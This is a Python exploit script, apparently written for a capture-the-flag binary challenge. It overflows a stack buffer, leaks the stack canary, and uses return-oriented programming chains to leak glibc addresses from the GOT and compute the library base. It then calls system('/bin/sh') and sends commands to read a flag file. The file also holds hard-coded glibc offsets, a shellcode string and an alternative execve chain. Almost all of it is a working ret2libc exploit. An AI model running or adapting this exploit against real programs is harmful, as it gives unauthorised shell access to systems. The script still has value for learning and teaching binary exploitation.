1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
|
#!/usr/bin/env python3
#if sploit is called with command line arguments,
#it will use them to call the target program with popen
#otherwise, sploit will use stdin/stdout
#you can use sploitpipe to run sploit with pipes spltin/spltout
#which can be used with the target program
#<spltin ./target &>spltout
#or from within gdb
#r <spltin &>spltout
#if given a program name on the command line, we'll use popen
#otherwise, we use stdin/stdout
#in the latter case, you can use sploitpipe to set up spltin and spltout
import time
import sploitutil as util
import sploitrunner
#specify which glibc offsets to use
testing = True
#puts,system,and binsh string offsets into glibc
#https://libc.blukat.me/
#https://libc.rip/
#search two functions and the least significant 12 bits of their address
#then use the resulting glibc to get offsets for the exploit
#for whatever reason, some of these are off by a small amount
#printing the contents out(even bytes of instructions)
#and comparing to what I expect in gdb has been enough to figure it out
#also, if we have the actual library
#objdump -T libc.so | grep '_puts'
#xxd libc.so | grep '/bin'
#my kali glibc (puts:0x5f0,setvbuf:0xcd0)
#https://libc.blukat.me/?q=_IO_puts%3A5f0%2C_IO_setvbuf%3Acd0
#libc6_2.31-9_amd64
#str_bin_sh was off for this one. I had to subtract 0x04 to get it right
libc_offset = util.itob(0x0765f0)
libc_system = util.itob(0x048e50)
libc_execve = util.itob(0x0cb6c0)
libc_exit = util.itob(0x0cb670)
libc_binsh = util.itob(0x18a152)
libc_poprdx_poprbx = util.itob(0x1376e2)
#target glibc (puts:0x5a0,setvbuf:0xe60)
#https://libc.blukat.me/?q=_IO_puts%3A5a0%2C_IO_setvbuf%3Ae60
#libc6_2.31-0ubuntu9.2_amd64 (3 listed, but all I care about was the same)
if not testing:
libc_offset = util.itob(0x0875a0)
libc_system = util.itob(0x055410)
libc_execve = util.itob(0x0e62f0)
libc_exit = util.itob(0x0e6290)
libc_binsh = util.itob(0x1b75aa)
libc_poprdx_poprbx = util.itob(0x162866)
frame_len = 0x108
string = b'Hello, World!\n'
shellcode = b'\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x0e\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe8\xff\xff'+string
payloads = {
'null' : util.itob(0x00),
#stack smash
'fill' : b'A'*(frame_len),
'string' : string+b'A'*(frame_len-len(string)),
'shellcode' : b'\x90'*(frame_len-len(shellcode))+shellcode,
'canary' : util.itob(0xdeadbeef),
#stack addresses
'buffaddr' : util.itob(0x7fffffff0000),
#static addresses
'startaddr' : util.itob(0x4005d0),
'targetaddr' : util.itob(0x400725),
'pltaddr' : util.itob(0x4005c0),
'gotaddr' : util.itob(0x600fe8),
'gotaddr2' : util.itob(0x601030),
#rop gadgets
'ret' : util.itob(0x400801),
'poprdi' : util.itob(0x400873),
'poprsi_popr15' : util.itob(0x400871)
}
def sploit(stdin, stdout):
c = util.Communication(stdin,stdout)
def preamble():
#preamble
c.recv()
#smash the stack up to canary
#+ a newline to overwrite the null and delimit the next two readlines
c.send( payloads['fill']
+b'\n')
#most of the echo
c.recv()
#get the canary from the echo
out = c.recv()
canary = b'\x00'+out[:7]
return canary
#rop to find the address of setvbuf in memory
#for the purpose of looking up the glibc offsets in a database
canary = preamble()
ropchain = payloads['poprdi'] #pop rdi,ret
ropchain += payloads['gotaddr2'] #rdi; pointer to setvbuf.got
ropchain += payloads['pltaddr'] #ret puts
#rop to find the address of puts in memory
#for the purpose of looking up the glibc offsets in a database
#and then we will use this to calculate our glibc base at runtime
ropchain += payloads['poprdi'] #pop rdi,ret
ropchain += payloads['gotaddr'] #rdi; pointer to puts.got
ropchain += payloads['pltaddr'] #ret puts
ropchain += payloads['startaddr'] #ret _start to fix stack
#smash stack again, but with canary and rop
#this will print out the address of puts in memory
c.send( payloads['fill']
+canary
+payloads['buffaddr']
+ropchain)
#get the glibc puts address
c.recv()
out = c.recv()
libc_addr = out[:8]
#if puts() terminated on a \x00 (like the most sig bits of an address)
#our [:8] might get less than 8 bytes of address + a newline
#so strip that newline
if libc_addr[-1:] == b'\n':
libc_addr = libc_addr[:-1]
#calculate glibc base address
libc = util.Libc(libc_addr,libc_offset)
libc_base = libc.base()
#use that to calculate other glibc addresses
system_addr = libc.addr(libc_system)
execve_addr = libc.addr(libc_execve)
exit_addr = libc.addr(libc_exit)
binsh_addr = libc.addr(libc_binsh)
poprdx_poprbx_addr = libc.addr(libc_poprdx_poprbx)
canary = preamble()
#print first few bytes of glibc
#this is to validate our offset
#a proper ELF file starts with '\x7fELF'
ropchain = payloads['poprdi'] #pop rdi,ret
ropchain += libc_base #rdi; pointer to glibc
ropchain += payloads['pltaddr'] #ret puts
#rop to puts("/bin/sh")
#this is to validate our offset
ropchain += payloads['poprdi'] #pop rdi,ret
ropchain += binsh_addr #rdi; pointer to "/bin/sh"
ropchain += payloads['pltaddr'] #ret puts
ropchain += payloads['startaddr'] #ret _start
c.send( payloads['fill']
+canary
+payloads['buffaddr']
+ropchain)
c.recv()
c.recv()
#rop to execve("/bin/sh",0,0)
#canary = preamble()
#ropchain = payloads['poprdi'] #pop rdi,ret
#ropchain += binsh_addr #rdi; pointer to "/bin/sh"
#ropchain += payloads['poprsi_popr15'] #pop rsi,pop r15,ret
#ropchain += payloads['null'] #rsi
#ropchain += payloads['null'] #r15
#ropchain += poprdx_poprbx_addr #pop rdx,pop rbx,ret
#ropchain += payloads['null'] #rdx
#ropchain += payloads['null'] #rbx
#ropchain += execve_addr #ret execve
#ropchain += payloads['poprdi'] #pop rdi,ret
#ropchain += payloads['null'] #rdi 0
#ropchain += exit_addr #ret exit to exit cleanly
#rop to system("/bin/sh")
canary = preamble()
ropchain = payloads['poprdi'] #pop rdi,ret
ropchain += binsh_addr #rdi; pointer to "/bin/sh"
ropchain += payloads['ret'] #extra ret for 16byte stack alignment
ropchain += system_addr #ret system
ropchain += payloads['poprdi'] #pop rdi,ret
ropchain += payloads['null'] #rdi 0
ropchain += exit_addr #ret exit to exit cleanly
c.send( payloads['fill']
+canary
+payloads['buffaddr']
+ropchain)
#we need to synchronize when read() finishes before sending more data
#we could insert another puts() into the rop and call c.recv()
#or we can just sleep for a second
time.sleep(1)
#try some shell commands
c.send(b'whoami\n')
c.send(b'pwd\n')
c.send(b'ls\n')
c.send(b'cat flag\n')
c.send(b'cat flag.txt\n')
c.send(b'exit\n')
return
#run our sploit
sploitrunner.runsploit(sploit)
|